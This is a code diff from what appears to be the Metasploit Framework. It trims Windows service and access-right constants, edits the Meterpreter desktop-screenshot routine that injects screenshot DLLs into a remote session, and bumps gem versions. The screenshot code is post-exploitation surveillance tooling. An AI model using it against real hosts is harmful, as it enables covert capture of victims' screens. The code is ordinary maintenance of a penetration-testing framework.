win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001)
|
win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001)
|
||||||
win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000)
|
win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
|
|
||||||
win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7)
|
win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7)
|
||||||
win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930)
|
win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930)
|
||||||
win_const_mgr.add_const('RF_LATTICE',0x00000800)
|
win_const_mgr.add_const('RF_LATTICE',0x00000800)
|
||||||
|
@ -17110,7 +17157,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008)
|
win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008)
|
||||||
win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192)
|
win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192)
|
||||||
win_const_mgr.add_const('SQL_TL_ON',0x00000001)
|
win_const_mgr.add_const('SQL_TL_ON',0x00000001)
|
||||||
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
|
|
||||||
win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000)
|
win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000)
|
||||||
win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A)
|
win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A)
|
||||||
win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011)
|
win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011)
|
||||||
|
@ -18538,7 +18584,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002)
|
win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002)
|
||||||
win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200)
|
win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200)
|
||||||
win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000)
|
win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000)
|
||||||
win_const_mgr.add_const('WRITE_DAC',0x00040000)
|
|
||||||
win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000)
|
win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000)
|
||||||
win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002)
|
win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002)
|
||||||
win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001)
|
win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001)
|
||||||
|
@ -20372,7 +20417,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001)
|
win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001)
|
||||||
win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A)
|
win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A)
|
||||||
win_const_mgr.add_const('TVC_UNKNOWN',0x00000000)
|
win_const_mgr.add_const('TVC_UNKNOWN',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
|
|
||||||
win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264)
|
win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264)
|
||||||
win_const_mgr.add_const('PARTID_MASK',0x00000000)
|
win_const_mgr.add_const('PARTID_MASK',0x00000000)
|
||||||
win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100)
|
win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100)
|
||||||
|
@ -20721,7 +20765,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100)
|
win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100)
|
||||||
win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000)
|
win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000)
|
||||||
win_const_mgr.add_const('LANG_SINDHI',0x00000059)
|
win_const_mgr.add_const('LANG_SINDHI',0x00000059)
|
||||||
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
|
|
||||||
win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF)
|
win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF)
|
||||||
win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000)
|
win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000)
|
||||||
win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000)
|
win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000)
|
||||||
|
@ -20938,7 +20981,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020)
|
win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020)
|
||||||
win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204)
|
win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204)
|
||||||
win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040)
|
win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040)
|
||||||
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
|
|
||||||
win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004)
|
win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004)
|
||||||
win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004)
|
win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004)
|
||||||
win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4)
|
win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4)
|
||||||
|
@ -21904,7 +21946,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001)
|
win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001)
|
||||||
win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003)
|
win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003)
|
||||||
win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400)
|
win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400)
|
||||||
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
|
|
||||||
win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200)
|
win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200)
|
||||||
win_const_mgr.add_const('EMR_BITBLT',0x0000004C)
|
win_const_mgr.add_const('EMR_BITBLT',0x0000004C)
|
||||||
win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000)
|
win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000)
|
||||||
|
@ -23291,7 +23332,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000)
|
win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000)
|
||||||
win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003)
|
win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003)
|
||||||
win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100)
|
win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100)
|
||||||
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
|
|
||||||
win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000)
|
win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000)
|
||||||
win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED)
|
win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED)
|
||||||
win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000)
|
win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000)
|
||||||
|
@ -23830,7 +23870,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002)
|
win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002)
|
||||||
win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001)
|
win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001)
|
||||||
win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020)
|
win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020)
|
||||||
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
|
|
||||||
win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003)
|
win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003)
|
||||||
win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0)
|
win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0)
|
||||||
win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02)
|
win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02)
|
||||||
|
@ -24022,7 +24061,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000)
|
win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000)
|
||||||
win_const_mgr.add_const('WM_COMPACTING',0x00000041)
|
win_const_mgr.add_const('WM_COMPACTING',0x00000041)
|
||||||
win_const_mgr.add_const('EXITPUB_FILE',0x00000001)
|
win_const_mgr.add_const('EXITPUB_FILE',0x00000001)
|
||||||
win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
|
|
||||||
win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080)
|
win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080)
|
||||||
win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001)
|
win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001)
|
||||||
win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002)
|
win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002)
|
||||||
|
@ -24229,7 +24267,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000)
|
win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000)
|
||||||
win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000)
|
win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000)
|
||||||
win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002)
|
win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002)
|
||||||
win_const_mgr.add_const('SERVICE_START',0x00000010)
|
|
||||||
win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E)
|
win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E)
|
||||||
win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001)
|
win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001)
|
||||||
win_const_mgr.add_const('GESTURE_INFINITY',0x00000000)
|
win_const_mgr.add_const('GESTURE_INFINITY',0x00000000)
|
||||||
|
@ -24327,7 +24364,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000)
|
win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000)
|
||||||
win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003)
|
win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003)
|
||||||
win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001)
|
win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001)
|
||||||
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
|
|
||||||
win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001)
|
win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001)
|
||||||
win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004)
|
win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004)
|
||||||
win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004)
|
win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004)
|
||||||
|
@ -24628,7 +24664,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025)
|
win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025)
|
||||||
win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008)
|
win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008)
|
||||||
win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005)
|
win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005)
|
||||||
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
|
|
||||||
win_const_mgr.add_const('JIFMK_FF',0x0000FFFF)
|
win_const_mgr.add_const('JIFMK_FF',0x0000FFFF)
|
||||||
win_const_mgr.add_const('DFCS_HOT',0x00001000)
|
win_const_mgr.add_const('DFCS_HOT',0x00001000)
|
||||||
win_const_mgr.add_const('SI_CONTAINER',0x00000004)
|
win_const_mgr.add_const('SI_CONTAINER',0x00000004)
|
||||||
|
@ -25917,7 +25952,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020)
|
win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020)
|
||||||
win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000)
|
win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000)
|
win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
|
|
||||||
win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020)
|
win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020)
|
||||||
win_const_mgr.add_const('FEI_SENDING',0x00000002)
|
win_const_mgr.add_const('FEI_SENDING',0x00000002)
|
||||||
win_const_mgr.add_const('DOF_PROGMAN',0x00000001)
|
win_const_mgr.add_const('DOF_PROGMAN',0x00000001)
|
||||||
|
@ -29144,7 +29178,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001)
|
win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001)
|
||||||
win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5)
|
win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5)
|
||||||
win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010)
|
win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010)
|
||||||
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
|
|
||||||
win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000)
|
win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000)
|
||||||
win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004)
|
win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004)
|
||||||
win_const_mgr.add_const('TMT_BTNTEXT',0x00000653)
|
win_const_mgr.add_const('TMT_BTNTEXT',0x00000653)
|
||||||
|
@ -30370,7 +30403,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000)
|
win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000)
|
||||||
win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005)
|
win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005)
|
||||||
win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005)
|
win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005)
|
||||||
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
|
|
||||||
win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E)
|
win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E)
|
||||||
win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000)
|
win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000)
|
||||||
win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004)
|
win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004)
|
||||||
|
@ -32077,7 +32109,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721)
|
win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721)
|
||||||
win_const_mgr.add_const('IPPORT_ECHO',0x00000007)
|
win_const_mgr.add_const('IPPORT_ECHO',0x00000007)
|
||||||
win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000)
|
win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
|
|
||||||
win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010)
|
win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010)
|
||||||
win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000)
|
win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000)
|
||||||
win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040)
|
win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040)
|
||||||
|
@ -33167,7 +33198,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011)
|
win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011)
|
||||||
win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B)
|
win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B)
|
||||||
win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066)
|
win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066)
|
||||||
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
|
|
||||||
win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000)
|
win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000)
|
||||||
win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005)
|
win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005)
|
||||||
win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005)
|
win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005)
|
||||||
|
@ -34303,7 +34333,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100)
|
win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100)
|
||||||
win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007)
|
win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007)
|
||||||
win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025)
|
win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025)
|
||||||
win_const_mgr.add_const('GENERIC_READ',0x80000000)
|
|
||||||
win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000)
|
win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000)
|
||||||
win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200)
|
win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200)
|
||||||
win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001)
|
win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001)
|
||||||
|
@ -36254,7 +36283,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200)
|
win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200)
|
||||||
win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7)
|
win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7)
|
||||||
win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100)
|
win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100)
|
||||||
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
|
|
||||||
win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A)
|
win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A)
|
||||||
win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016)
|
win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016)
|
||||||
win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022)
|
win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022)
|
||||||
|
@ -38107,7 +38135,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020)
|
win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020)
|
||||||
win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D)
|
win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D)
|
||||||
win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010)
|
win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010)
|
||||||
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
|
|
||||||
win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040)
|
win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040)
|
||||||
win_const_mgr.add_const('IF_CHECK_SEND',0x00000002)
|
win_const_mgr.add_const('IF_CHECK_SEND',0x00000002)
|
||||||
win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800)
|
win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800)
|
||||||
|
|
|
@ -154,37 +154,43 @@ class UI < Rex::Post::UI
|
||||||
def screenshot( quality=50 )
|
def screenshot( quality=50 )
|
||||||
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
|
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
||||||
|
|
||||||
# include the x64 screenshot dll if the host OS is x64
|
# include the x64 screenshot dll if the host OS is x64
|
||||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||||
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
|
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
|
||||||
if screenshot_path.nil?
|
if screenshot_path.nil?
|
||||||
raise RuntimeError, "screenshot.x64.dll not found", caller
|
raise RuntimeError, "screenshot.x64.dll not found", caller
|
||||||
end
|
end
|
||||||
screenshot_path = ::File.expand_path( screenshot_path )
|
|
||||||
screenshot_dll = ''
|
screenshot_dll = ''
|
||||||
::File.open( screenshot_path, 'rb' ) do |f|
|
::File.open( screenshot_path, 'rb' ) do |f|
|
||||||
screenshot_dll += f.read( f.stat.size )
|
screenshot_dll += f.read( f.stat.size )
|
||||||
end
|
end
|
||||||
|
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
||||||
end
|
end
|
||||||
|
|
||||||
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||||
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
|
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
|
||||||
if screenshot_path.nil?
|
if screenshot_path.nil?
|
||||||
raise RuntimeError, "screenshot.x86.dll not found", caller
|
raise RuntimeError, "screenshot.x86.dll not found", caller
|
||||||
end
|
end
|
||||||
screenshot_path = ::File.expand_path( screenshot_path )
|
|
||||||
screenshot_dll = ''
|
screenshot_dll = ''
|
||||||
::File.open( screenshot_path, 'rb' ) do |f|
|
::File.open( screenshot_path, 'rb' ) do |f|
|
||||||
screenshot_dll += f.read( f.stat.size )
|
screenshot_dll += f.read( f.stat.size )
|
||||||
end
|
end
|
||||||
|
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
|
||||||
|
|
||||||
# send the request and return the jpeg image if successfull.
|
# send the request and return the jpeg image if successfull.
|
||||||
response = client.send_request( request )
|
response = client.send_request( request )
|
||||||
if( response.result == 0 )
|
if( response.result == 0 )
|
||||||
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
|
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -86,7 +86,7 @@ class Client
|
||||||
typ = self.config_types[var] || 'string'
|
typ = self.config_types[var] || 'string'
|
||||||
|
|
||||||
# These are enum types
|
# These are enum types
|
||||||
if(typ.class.to_s == 'Array')
|
if typ.is_a?(Array)
|
||||||
if not typ.include?(val)
|
if not typ.include?(val)
|
||||||
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
||||||
end
|
end
|
||||||
|
@ -719,4 +719,3 @@ end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,7 @@ Gem::Specification.new do |spec|
|
||||||
|
|
||||||
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
|
||||||
# Metasploit::Credential database models
|
# Metasploit::Credential database models
|
||||||
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8'
|
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.11'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3'
|
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3'
|
||||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0'
|
spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0'
|
||||||
# Needed for Meterpreter on Windows, soon others.
|
# Needed for Meterpreter on Windows, soon others.
|
||||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.12'
|
spec.add_runtime_dependency 'meterpreter_bins', '0.0.13'
